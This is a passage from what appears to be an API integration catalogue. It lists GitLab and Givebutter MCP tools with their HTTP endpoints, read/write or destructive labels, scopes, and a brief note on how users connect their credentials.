/api/v1/gitlab/projects/{id}/repository/commits/{sha}/merge_requests. Scopes: none. gitlab_get_projects_by_id_repository_commits_by_sha_refs (read) — Get projects id repository commits sha refs via GET /projects/{id}/repository/commits/{sha}/refs GET /api/v1/gitlab/projects/{id}/repository/commits/{sha}/refs. Scopes: none. gitlab_get_projects_by_id_repository_compare (read) — Get projects id repository compare via GET /projects/{id}/repository/compare GET /api/v1/gitlab/projects/{id}/repository/compare. Scopes: none. gitlab_get_projects_by_id_repository_contributors (read) — Get projects id repository contributors via GET /projects/{id}/repository/contributors GET /api/v1/gitlab/projects/{id}/repository/contributors. Scopes: none. gitlab_get_projects_by_id_repository_files_by_file_path (read) — Get projects id repository files file path via GET /projects/{id}/repository/files/{file_path} GET /api/v1/gitlab/projects/{id}/repository/files/{file_path}. Scopes: none. gitlab_get_projects_by_id_repository_files_by_file_path_raw (read) — Get projects id repository files file path raw via GET /projects/{id}/repository/files/{file_path}/raw GET /api/v1/gitlab/projects/{id}/repository/files/{file_path}/raw. Scopes: none. gitlab_get_projects_by_id_repository_merge_base (read) — Get projects id repository merge base via GET /projects/{id}/repository/merge_base GET /api/v1/gitlab/projects/{id}/repository/merge_base. Scopes: none. gitlab_get_projects_by_id_repository_tags (read) — Get projects id repository tags via GET /projects/{id}/repository/tags GET /api/v1/gitlab/projects/{id}/repository/tags. Scopes: none. gitlab_get_projects_by_id_repository_tags_by_tag_name (read) — Get projects id repository tags tag name via GET /projects/{id}/repository/tags/{tag_name} GET /api/v1/gitlab/projects/{id}/repository/tags/{tag_name}. Scopes: none. gitlab_get_projects_by_id_repository_tree (read) — Get projects id repository tree via GET /projects/{id}/repository/tree GET /api/v1/gitlab/projects/{id}/repository/tree. Scopes: none. gitlab_get_projects_by_id_snippets (read) — Get projects id snippets via GET /projects/{id}/snippets GET /api/v1/gitlab/projects/{id}/snippets. Scopes: none. gitlab_get_projects_by_id_snippets_by_snippet_id (read) — Get projects id snippets snippet id via GET /projects/{id}/snippets/{snippet_id} GET /api/v1/gitlab/projects/{id}/snippets/{snippet_id}. Scopes: none. gitlab_get_projects_by_id_snippets_by_snippet_id_raw (read) — Get projects id snippets snippet id raw via GET /projects/{id}/snippets/{snippet_id}/raw GET /api/v1/gitlab/projects/{id}/snippets/{snippet_id}/raw. Scopes: none. gitlab_get_projects_by_id_wikis (read) — Get projects id wikis via GET /projects/{id}/wikis GET /api/v1/gitlab/projects/{id}/wikis. Scopes: none. gitlab_get_projects_by_id_wikis_by_slug (read) — Get projects id wikis slug via GET /projects/{id}/wikis/{slug} GET /api/v1/gitlab/projects/{id}/wikis/{slug}. Scopes: none. gitlab_get_todos (read) — Get todos via GET /todos GET /api/v1/gitlab/todos. Scopes: none. gitlab_get_user (read) — Get user via GET /user GET /api/v1/gitlab/user. Scopes: none. gitlab_get_user_status (read) — Get user status via GET /user/status GET /api/v1/gitlab/user/status. Scopes: none. gitlab_get_users (read) — Get users via GET /users GET /api/v1/gitlab/users. Scopes: none. gitlab_get_users_by_id (read) — Get users id via GET /users/{id} GET /api/v1/gitlab/users/{id}. Scopes: none. gitlab_get_users_by_user_id_status (read) — Get users user id status via GET /users/{user_id}/status GET /api/v1/gitlab/users/{user_id}/status. Scopes: none. gitlab_head_projects_by_id_repository_branches_by_branch (read) — Head projects id repository branches branch via HEAD /projects/{id}/repository/branches/{branch} HEAD /api/v1/gitlab/projects/{id}/repository/branches/{branch}. Scopes: none. gitlab_head_projects_by_id_repository_files_by_file_path (read) — Head projects id repository files file path via HEAD /projects/{id}/repository/files/{file_path} HEAD /api/v1/gitlab/projects/{id}/repository/files/{file_path}. Scopes: none. gitlab_patch_projects_by_id_protected_branches_by_name (write) — Patch projects id protected branches name via PATCH /projects/{id}/protected_branches/{name} PATCH /api/v1/gitlab/projects/{id}/protected_branches/{name}. Scopes: none. gitlab_patch_user_status (write) — Patch user status via PATCH /user/status PATCH /api/v1/gitlab/user/status. Scopes: none. gitlab_post_groups (write) — Post groups via POST /groups POST /api/v1/gitlab/groups. Scopes: none. gitlab_post_groups_by_id_labels (write) — Post groups id labels via POST /groups/{id}/labels POST /api/v1/gitlab/groups/{id}/labels. Scopes: none. gitlab_post_groups_by_id_members (write) — Post groups id members via POST /groups/{id}/members POST /api/v1/gitlab/groups/{id}/members. Scopes: none. gitlab_post_groups_by_id_milestones (write) — Post groups id milestones via POST /groups/{id}/milestones POST /api/v1/gitlab/groups/{id}/milestones. Scopes: none. gitlab_post_projects (write) — Post projects via POST /projects POST /api/v1/gitlab/projects. Scopes: none. gitlab_post_projects_by_id_archive (write) — Post projects id archive via POST /projects/{id}/archive POST /api/v1/gitlab/projects/{id}/archive. Scopes: none. gitlab_post_projects_by_id_issues (write) — Post projects id issues via POST /projects/{id}/issues POST /api/v1/gitlab/projects/{id}/issues. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_award_emoji (write) — Post projects id issues issue iid award emoji via POST /projects/{id}/issues/{issue_iid}/award_emoji POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/award_emoji. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_clone (write) — Post projects id issues issue iid clone via POST /projects/{id}/issues/{issue_iid}/clone POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/clone. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_links (write) — Post projects id issues issue iid links via POST /projects/{id}/issues/{issue_iid}/links POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/links. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_move (write) — Post projects id issues issue iid move via POST /projects/{id}/issues/{issue_iid}/move POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/move. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_notes_by_note_id_award_emoji (write) — Post projects id issues issue iid notes note id award emoji via POST /projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/notes/{note_id}/award_emoji. Scopes: none. gitlab_post_projects_by_id_issues_by_issue_iid_todo (write) — Post projects id issues issue iid todo via POST /projects/{id}/issues/{issue_iid}/todo POST /api/v1/gitlab/projects/{id}/issues/{issue_iid}/todo. Scopes: none. gitlab_post_projects_by_id_issues_by_noteable_id_discussions (write) — Post projects id issues noteable id discussions via POST /projects/{id}/issues/{noteable_id}/discussions POST /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions. Scopes: none. gitlab_post_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id_notes (write) — Post projects id issues noteable id discussions discussion id notes via POST /projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes POST /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes. Scopes: none. gitlab_post_projects_by_id_issues_by_noteable_id_notes (write) — Post projects id issues noteable id notes via POST /projects/{id}/issues/{noteable_id}/notes POST /api/v1/gitlab/projects/{id}/issues/{noteable_id}/notes. Scopes: none. gitlab_post_projects_by_id_issues_by_subscribable_id_subscribe (write) — Post projects id issues subscribable id subscribe via POST /projects/{id}/issues/{subscribable_id}/subscribe POST /api/v1/gitlab/projects/{id}/issues/{subscribable_id}/subscribe. Scopes: none. gitlab_post_projects_by_id_issues_by_subscribable_id_unsubscribe (write) — Post projects id issues subscribable id unsubscribe via POST /projects/{id}/issues/{subscribable_id}/unsubscribe POST /api/v1/gitlab/projects/{id}/issues/{subscribable_id}/unsubscribe. Scopes: none. gitlab_post_projects_by_id_labels (write) — Post projects id labels via POST /projects/{id}/labels POST /api/v1/gitlab/projects/{id}/labels. Scopes: none. gitlab_post_projects_by_id_labels_by_subscribable_id_subscribe (write) — Post projects id labels subscribable id subscribe via POST /projects/{id}/labels/{subscribable_id}/subscribe POST /api/v1/gitlab/projects/{id}/labels/{subscribable_id}/subscribe. Scopes: none. gitlab_post_projects_by_id_labels_by_subscribable_id_unsubscribe (write) — Post projects id labels subscribable id unsubscribe via POST /projects/{id}/labels/{subscribable_id}/unsubscribe POST /api/v1/gitlab/projects/{id}/labels/{subscribable_id}/unsubscribe. Scopes: none. gitlab_post_projects_by_id_members (write) — Post projects id members via POST /projects/{id}/members POST /api/v1/gitlab/projects/{id}/members. Scopes: none. gitlab_post_projects_by_id_merge_requests (write) — Post projects id merge requests via POST /projects/{id}/merge_requests POST /api/v1/gitlab/projects/{id}/merge_requests. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_approvals (write) — Post projects id merge requests merge request iid approvals via POST /projects/{id}/merge_requests/{merge_request_iid}/approvals POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/approvals. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_approve (write) — Post projects id merge requests merge request iid approve via POST /projects/{id}/merge_requests/{merge_request_iid}/approve POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/approve. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_award_emoji (write) — Post projects id merge requests merge request iid award emoji via POST /projects/{id}/merge_requests/{merge_request_iid}/award_emoji POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/award_emoji. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_notes_by_note_id_award_emoji (write) — Post projects id merge requests merge request iid notes note id award emoji via POST /projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/notes/{note_id}/award_emoji. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_todo (write) — Post projects id merge requests merge request iid todo via POST /projects/{id}/merge_requests/{merge_request_iid}/todo POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/todo. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_merge_request_iid_unapprove (write) — Post projects id merge requests merge request iid unapprove via POST /projects/{id}/merge_requests/{merge_request_iid}/unapprove POST /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/unapprove. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_noteable_id_discussions (write) — Post projects id merge requests noteable id discussions via POST /projects/{id}/merge_requests/{noteable_id}/discussions POST /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id_notes (write) — Post projects id merge requests noteable id discussions discussion id notes via POST /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes POST /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_noteable_id_notes (write) — Post projects id merge requests noteable id notes via POST /projects/{id}/merge_requests/{noteable_id}/notes POST /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/notes. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_subscribable_id_subscribe (write) — Post projects id merge requests subscribable id subscribe via POST /projects/{id}/merge_requests/{subscribable_id}/subscribe POST /api/v1/gitlab/projects/{id}/merge_requests/{subscribable_id}/subscribe. Scopes: none. gitlab_post_projects_by_id_merge_requests_by_subscribable_id_unsubscribe (write) — Post projects id merge requests subscribable id unsubscribe via POST /projects/{id}/merge_requests/{subscribable_id}/unsubscribe POST /api/v1/gitlab/projects/{id}/merge_requests/{subscribable_id}/unsubscribe. Scopes: none. gitlab_post_projects_by_id_milestones (write) — Post projects id milestones via POST /projects/{id}/milestones POST /api/v1/gitlab/projects/{id}/milestones. Scopes: none. gitlab_post_projects_by_id_protected_branches (write) — Post projects id protected branches via POST /projects/{id}/protected_branches POST /api/v1/gitlab/projects/{id}/protected_branches. Scopes: none. gitlab_post_projects_by_id_releases (write) — Post projects id releases via POST /projects/{id}/releases POST /api/v1/gitlab/projects/{id}/releases. Scopes: none. gitlab_post_projects_by_id_releases_by_tag_name_assets_links (write) — Post projects id releases tag name assets links via POST /projects/{id}/releases/{tag_name}/assets/links POST /api/v1/gitlab/projects/{id}/releases/{tag_name}/assets/links. Scopes: none. gitlab_post_projects_by_id_repository_branches (write) — Post projects id repository branches via POST /projects/{id}/repository/branches POST /api/v1/gitlab/projects/{id}/repository/branches. Scopes: none. gitlab_post_projects_by_id_repository_commits (write) — Post projects id repository commits via POST /projects/{id}/repository/commits POST /api/v1/gitlab/projects/{id}/repository/commits. Scopes: none. gitlab_post_projects_by_id_repository_commits_by_sha_cherry_pick (write) — Post projects id repository commits sha cherry pick via POST /projects/{id}/repository/commits/{sha}/cherry_pick POST /api/v1/gitlab/projects/{id}/repository/commits/{sha}/cherry_pick. Scopes: none. gitlab_post_projects_by_id_repository_commits_by_sha_comments (write) — Post projects id repository commits sha comments via POST /projects/{id}/repository/commits/{sha}/comments POST /api/v1/gitlab/projects/{id}/repository/commits/{sha}/comments. Scopes: none. gitlab_post_projects_by_id_repository_commits_by_sha_revert (write) — Post projects id repository commits sha revert via POST /projects/{id}/repository/commits/{sha}/revert POST /api/v1/gitlab/projects/{id}/repository/commits/{sha}/revert. Scopes: none. gitlab_post_projects_by_id_repository_files_by_file_path (write) — Post projects id repository files file path via POST /projects/{id}/repository/files/{file_path} POST /api/v1/gitlab/projects/{id}/repository/files/{file_path}. Scopes: none. gitlab_post_projects_by_id_repository_tags (write) — Post projects id repository tags via POST /projects/{id}/repository/tags POST /api/v1/gitlab/projects/{id}/repository/tags. Scopes: none. gitlab_post_projects_by_id_snippets (write) — Post projects id snippets via POST /projects/{id}/snippets POST /api/v1/gitlab/projects/{id}/snippets. Scopes: none. gitlab_post_projects_by_id_star (write) — Post projects id star via POST /projects/{id}/star POST /api/v1/gitlab/projects/{id}/star. Scopes: none. gitlab_post_projects_by_id_unarchive (write) — Post projects id unarchive via POST /projects/{id}/unarchive POST /api/v1/gitlab/projects/{id}/unarchive. Scopes: none. gitlab_post_projects_by_id_unstar (write) — Post projects id unstar via POST /projects/{id}/unstar POST /api/v1/gitlab/projects/{id}/unstar. Scopes: none. gitlab_post_projects_by_id_wikis (write) — Post projects id wikis via POST /projects/{id}/wikis POST /api/v1/gitlab/projects/{id}/wikis. Scopes: none. gitlab_post_todos_by_id_mark_as_done (write) — Post todos id mark as done via POST /todos/{id}/mark_as_done POST /api/v1/gitlab/todos/{id}/mark_as_done. Scopes: none. gitlab_post_todos_mark_as_done (write) — Post todos mark as done via POST /todos/mark_as_done POST /api/v1/gitlab/todos/mark_as_done. Scopes: none. gitlab_post_users (write) — Post users via POST /users POST /api/v1/gitlab/users. Scopes: none. gitlab_put_groups_by_id (write) — Put groups id via PUT /groups/{id} PUT /api/v1/gitlab/groups/{id}. Scopes: none. gitlab_put_groups_by_id_labels (write) — Put groups id labels via PUT /groups/{id}/labels PUT /api/v1/gitlab/groups/{id}/labels. Scopes: none. gitlab_put_groups_by_id_labels_by_name (write) — Put groups id labels name via PUT /groups/{id}/labels/{name} PUT /api/v1/gitlab/groups/{id}/labels/{name}. Scopes: none. gitlab_put_groups_by_id_members_by_user_id (write) — Put groups id members user id via PUT /groups/{id}/members/{user_id} PUT /api/v1/gitlab/groups/{id}/members/{user_id}. Scopes: none. gitlab_put_groups_by_id_milestones_by_milestone_id (write) — Put groups id milestones milestone id via PUT /groups/{id}/milestones/{milestone_id} PUT /api/v1/gitlab/groups/{id}/milestones/{milestone_id}. Scopes: none. gitlab_put_namespaces_by_id (write) — Put namespaces id via PUT /namespaces/{id} PUT /api/v1/gitlab/namespaces/{id}. Scopes: none. gitlab_put_projects_by_id (write) — Put projects id via PUT /projects/{id} PUT /api/v1/gitlab/projects/{id}. Scopes: none. gitlab_put_projects_by_id_issues_by_issue_iid (write) — Put projects id issues issue iid via PUT /projects/{id}/issues/{issue_iid} PUT /api/v1/gitlab/projects/{id}/issues/{issue_iid}. Scopes: none. gitlab_put_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id (write) — Put projects id issues noteable id discussions discussion id via PUT /projects/{id}/issues/{noteable_id}/discussions/{discussion_id} PUT /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}. Scopes: none. gitlab_put_projects_by_id_issues_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (write) — Put projects id issues noteable id discussions discussion id notes note id via PUT /projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id} PUT /api/v1/gitlab/projects/{id}/issues/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_put_projects_by_id_issues_by_noteable_id_notes_by_note_id (write) — Put projects id issues noteable id notes note id via PUT /projects/{id}/issues/{noteable_id}/notes/{note_id} PUT /api/v1/gitlab/projects/{id}/issues/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_put_projects_by_id_labels (write) — Put projects id labels via PUT /projects/{id}/labels PUT /api/v1/gitlab/projects/{id}/labels. Scopes: none. gitlab_put_projects_by_id_labels_by_name (write) — Put projects id labels name via PUT /projects/{id}/labels/{name} PUT /api/v1/gitlab/projects/{id}/labels/{name}. Scopes: none. gitlab_put_projects_by_id_members_by_user_id (write) — Put projects id members user id via PUT /projects/{id}/members/{user_id} PUT /api/v1/gitlab/projects/{id}/members/{user_id}. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_merge_request_iid (write) — Put projects id merge requests merge request iid via PUT /projects/{id}/merge_requests/{merge_request_iid} PUT /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_merge_request_iid_merge (write) — Put projects id merge requests merge request iid merge via PUT /projects/{id}/merge_requests/{merge_request_iid}/merge PUT /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/merge. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_merge_request_iid_rebase (write) — Put projects id merge requests merge request iid rebase via PUT /projects/{id}/merge_requests/{merge_request_iid}/rebase PUT /api/v1/gitlab/projects/{id}/merge_requests/{merge_request_iid}/rebase. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id (write) — Put projects id merge requests noteable id discussions discussion id via PUT /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id} PUT /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_noteable_id_discussions_by_discussion_id_notes_by_note_id (write) — Put projects id merge requests noteable id discussions discussion id notes note id via PUT /projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id} PUT /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/discussions/{discussion_id}/notes/{note_id}. Scopes: none. gitlab_put_projects_by_id_merge_requests_by_noteable_id_notes_by_note_id (write) — Put projects id merge requests noteable id notes note id via PUT /projects/{id}/merge_requests/{noteable_id}/notes/{note_id} PUT /api/v1/gitlab/projects/{id}/merge_requests/{noteable_id}/notes/{note_id}. Scopes: none. gitlab_put_projects_by_id_milestones_by_milestone_id (write) — Put projects id milestones milestone id via PUT /projects/{id}/milestones/{milestone_id} PUT /api/v1/gitlab/projects/{id}/milestones/{milestone_id}. Scopes: none. gitlab_put_projects_by_id_releases_by_tag_name (write) — Put projects id releases tag name via PUT /projects/{id}/releases/{tag_name} PUT /api/v1/gitlab/projects/{id}/releases/{tag_name}. Scopes: none. gitlab_put_projects_by_id_releases_by_tag_name_assets_links_by_link_id (write) — Put projects id releases tag name assets links link id via PUT /projects/{id}/releases/{tag_name}/assets/links/{link_id} PUT /api/v1/gitlab/projects/{id}/releases/{tag_name}/assets/links/{link_id}. Scopes: none. gitlab_put_projects_by_id_repository_files_by_file_path (write) — Put projects id repository files file path via PUT /projects/{id}/repository/files/{file_path} PUT /api/v1/gitlab/projects/{id}/repository/files/{file_path}. Scopes: none. gitlab_put_projects_by_id_snippets_by_snippet_id (write) — Put projects id snippets snippet id via PUT /projects/{id}/snippets/{snippet_id} PUT /api/v1/gitlab/projects/{id}/snippets/{snippet_id}. Scopes: none. gitlab_put_projects_by_id_wikis_by_slug (write) — Put projects id wikis slug via PUT /projects/{id}/wikis/{slug} PUT /api/v1/gitlab/projects/{id}/wikis/{slug}. Scopes: none. gitlab_put_user_status (write) — Put user status via PUT /user/status PUT /api/v1/gitlab/user/status. Scopes: none. gitlab_put_users_by_id (write) — Put users id via PUT /users/{id} PUT /api/v1/gitlab/users/{id}. Scopes: none. ================================================================================ ## Givebutter URL: https://www.agenticfabriq.com/integrations/givebutter Section: Integrated Tools Givebutter — 70 MCP tools Provider key: givebutter. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. givebutter_delete_v1_campaigns_by_campaign (write, destructive) — Delete a campaign via DELETE /v1/campaigns/{campaign} DELETE /api/v1/givebutter/v1/campaigns/{campaign}. Scopes: api. givebutter_delete_v1_campaigns_by_campaign_discount_codes_by_discountcode (write, destructive) — Delete a discount code via DELETE /v1/campaigns/{campaign}/discount-codes/{discountCode} DELETE /api/v1/givebutter/v1/campaigns/{campaign}/discount-codes/{discountCode}. Scopes: api. givebutter_delete_v1_campaigns_by_campaign_members_by_member (write, destructive) — Delete a campaign member via DELETE /v1/campaigns/{campaign}/members/{member} DELETE /api/v1/givebutter/v1/campaigns/{campaign}/members/{member}. Scopes: api. givebutter_delete_v1_campaigns_by_campaign_teams_by_team (write, destructive) — Delete a campaign team via DELETE /v1/campaigns/{campaign}/teams/{team} DELETE /api/v1/givebutter/v1/campaigns/{campaign}/teams/{team}. Scopes: api. givebutter_delete_v1_contacts_by_contact (write, destructive) — Delete a contact via DELETE /v1/contacts/{contact} DELETE /api/v1/givebutter/v1/contacts/{contact}. Scopes: api. givebutter_delete_v1_contacts_by_contact_activities_by_activity (write, destructive) — Delete a contact activity via DELETE /v1/contacts/{contact}/activities/{activity} DELETE /api/v1/givebutter/v1/contacts/{contact}/activities/{activity}. Scopes: api. givebutter_delete_v1_funds_by_fund (write, destructive) — Delete a fund via DELETE /v1/funds/{fund} DELETE /api/v1/givebutter/v1/funds/{fund}. Scopes: api. givebutter_delete_v1_households_by_household (write, destructive) — Delete a household via DELETE /v1/households/{household} DELETE /api/v1/givebutter/v1/households/{household}. Scopes: api. givebutter_delete_v1_households_by_household_contacts_by_contact (write, destructive) — Remove a contact from a household via DELETE /v1/households/{household}/contacts/{contact} DELETE /api/v1/givebutter/v1/households/{household}/contacts/{contact}. Scopes: api. givebutter_delete_v1_webhooks_by_webhook (write, destructive) — Delete a webhook via DELETE /v1/webhooks/{webhook} DELETE /api/v1/givebutter/v1/webhooks/{webhook}. Scopes: api. givebutter_get_sso_v1_account (read) — GET /sso/v1/account GET /api/v1/givebutter/sso/v1/account. Scopes: api. givebutter_get_sso_v1_campaigns_by_campaign (read) — GET /sso/v1/campaigns/{campaign} GET /api/v1/givebutter/sso/v1/campaigns/{campaign}. Scopes: api. givebutter_get_v1_campaigns (read) — List all campaigns via GET /v1/campaigns GET /api/v1/givebutter/v1/campaigns. Scopes: api. givebutter_get_v1_campaigns_by_campaign (read) — Get a campaign via GET /v1/campaigns/{campaign} GET /api/v1/givebutter/v1/campaigns/{campaign}. Scopes: api. givebutter_get_v1_campaigns_by_campaign_discount_codes (read) — List all discount codes via GET /v1/campaigns/{campaign}/discount-codes GET /api/v1/givebutter/v1/campaigns/{campaign}/discount-codes. Scopes: api. givebutter_get_v1_campaigns_by_campaign_discount_codes_by_discountcode (read) — Get a discount code via GET /v1/campaigns/{campaign}/discount-codes/{discountCode} GET /api/v1/givebutter/v1/campaigns/{campaign}/discount-codes/{discountCode}. Scopes: api. givebutter_get_v1_campaigns_by_campaign_items_tickets (read) — List all campaign tickets via GET /v1/campaigns/{campaign}/items/tickets GET /api/v1/givebutter/v1/campaigns/{campaign}/items/tickets. Scopes: api. givebutter_get_v1_campaigns_by_campaign_items_tickets_by_ticketid (read) — Get a campaign ticket via GET /v1/campaigns/{campaign}/items/tickets/{ticketId} GET /api/v1/givebutter/v1/campaigns/{campaign}/items/tickets/{ticketId}. Scopes: api. givebutter_get_v1_campaigns_by_campaign_members (read) — List all campaign members via GET /v1/campaigns/{campaign}/members GET /api/v1/givebutter/v1/campaigns/{campaign}/members. Scopes: api. givebutter_get_v1_campaigns_by_campaign_members_by_member (read) — Get a campaign member via GET /v1/campaigns/{campaign}/members/{member} GET /api/v1/givebutter/v1/campaigns/{campaign}/members/{member}. Scopes: api. givebutter_get_v1_campaigns_by_campaign_teams (read) — List all campaign teams via GET /v1/campaigns/{campaign}/teams GET /api/v1/givebutter/v1/campaigns/{campaign}/teams. Scopes: api. givebutter_get_v1_campaigns_by_campaign_teams_by_team (read) — Get a campaign team via GET /v1/campaigns/{campaign}/teams/{team} GET /api/v1/givebutter/v1/campaigns/{campaign}/teams/{team}. Scopes: api. givebutter_get_v1_contacts (read) — List all contacts via GET /v1/contacts GET /api/v1/givebutter/v1/contacts. Scopes: api. givebutter_get_v1_contacts_by_contact (read) — Get a contact via GET /v1/contacts/{contact} GET /api/v1/givebutter/v1/contacts/{contact}. Scopes: api. givebutter_get_v1_contacts_by_contact_activities (read) — List all contact activities via GET /v1/contacts/{contact}/activities GET /api/v1/givebutter/v1/contacts/{contact}/activities. Scopes: api. givebutter_get_v1_contacts_by_contact_activities_by_activity (read) — Get a contact activity via GET /v1/contacts/{contact}/activities/{activity} GET /api/v1/givebutter/v1/contacts/{contact}/activities/{activity}. Scopes: api. givebutter_get_v1_funds (read) — List all funds via GET /v1/funds GET /api/v1/givebutter/v1/funds. Scopes: api. givebutter_get_v1_funds_by_fund (read) — Get a fund via GET /v1/funds/{fund} GET /api/v1/givebutter/v1/funds/{fund}. Scopes: api. givebutter_get_v1_households (read) — List all households via GET /v1/households GET /api/v1/givebutter/v1/households. Scopes: api. givebutter_get_v1_households_by_household (read) — Get a household via GET /v1/households/{household} GET /api/v1/givebutter/v1/households/{household}. Scopes: api. givebutter_get_v1_households_by_household_contacts (read) — List all contacts associated with a household via GET /v1/households/{household}/contacts GET /api/v1/givebutter/v1/households/{household}/contacts. Scopes: api. givebutter_get_v1_households_by_household_contacts_by_contact (read) — Get a contact associated with a household via GET /v1/households/{household}/contacts/{contact} GET /api/v1/givebutter/v1/households/{household}/contacts/{contact}. Scopes: api. givebutter_get_v1_messages (read) — List all messages via GET /v1/messages GET /api/v1/givebutter/v1/messages. Scopes: api. givebutter_get_v1_messages_by_message (read) — Get a message via GET /v1/messages/{message} GET /api/v1/givebutter/v1/messages/{message}. Scopes: api. givebutter_get_v1_payouts (read) — List all payouts via GET /v1/payouts GET /api/v1/givebutter/v1/payouts. Scopes: api. givebutter_get_v1_payouts_by_payout (read) — Get a payout via GET /v1/payouts/{payout} GET /api/v1/givebutter/v1/payouts/{payout}. Scopes: api. givebutter_get_v1_plans (read) — List all recurring plans via GET /v1/plans GET /api/v1/givebutter/v1/plans. Scopes: api. givebutter_get_v1_plans_by_plan (read) — Get a recurring plan via GET /v1/plans/{plan} GET /api/v1/givebutter/v1/plans/{plan}. Scopes: api. givebutter_get_v1_pledges (read) — List all pledges via GET /v1/pledges GET /api/v1/givebutter/v1/pledges. Scopes: api. givebutter_get_v1_pledges_by_pledge (read) — Get a pledge via GET /v1/pledges/{pledge} GET /api/v1/givebutter/v1/pledges/{pledge}. Scopes: api. givebutter_get_v1_tickets (read) — List all tickets via GET /v1/tickets GET /api/v1/givebutter/v1/tickets. Scopes: api. givebutter_get_v1_tickets_by_ticket (read) — Get a ticket via GET /v1/tickets/{ticket} GET /api/v1/givebutter/v1/tickets/{ticket}. Scopes: api. givebutter_get_v1_transactions (read) — List all transactions via GET /v1/transactions GET /api/v1/givebutter/v1/transactions. Scopes: api. givebutter_get_v1_transactions_by_transaction (read) — Get a transaction via GET /v1/transactions/{transaction} GET /api/v1/givebutter/v1/transactions/{transaction}. Scopes: api. givebutter_get_v1_webhooks (read) — List all webhooks via GET /v1/webhooks GET /api/v1/givebutter/v1/webhooks. Scopes: api. givebutter_get_v1_webhooks_by_webhook (read) — Get a webhook via GET /v1/webhooks/{webhook} GET /api/v1/givebutter/v1/webhooks/{webhook}. Scopes: api. givebutter_get_v1_webhooks_by_webhook_activities (read) — List all webhook activities via GET /v1/webhooks/{webhook}/activities GET /api/v1/givebutter/v1/webhooks/{webhook}/activities. Scopes: api. givebutter_get_v1_webhooks_by_webhook_activities_by_activity (read) — Get a webhook activity via GET /v1/webhooks/{webhook}/activities/{activity} GET /api/v1/givebutter/v1/webhooks/{webhook}/activities/{activity}. Scopes: api. givebutter_patch_v1_contacts_by_contact_restore (write) — Restore a contact via PATCH /v1/contacts/{contact}/restore PATCH /api/v1/givebutter/v1/contacts/{contact}/restore. Scopes: api. givebutter_post_v1_campaigns (write) — Create a campaign via POST /v1/campaigns POST /api/v1/givebutter/v1/campaigns. Scopes: api. givebutter_post_v1_campaigns_by_campaign_discount_codes (write) — Create a discount code via POST /v1/campaigns/{campaign}/discount-codes POST /api/v1/givebutter/v1/campaigns/{campaign}/discount-codes. Scopes: api. givebutter_post_v1_campaigns_by_campaign_items_tickets (write) — Create a campaign ticket via POST /v1/campaigns/{campaign}/items/tickets POST /api/v1/givebutter/v1/campaigns/{campaign}/items/tickets. Scopes: api. givebutter_post_v1_contacts (write) — Create a contact via POST /v1/contacts POST /api/v1/givebutter/v1/contacts. Scopes: api. givebutter_post_v1_contacts_by_contact_activities (write) — Create a contact activity via POST /v1/contacts/{contact}/activities POST 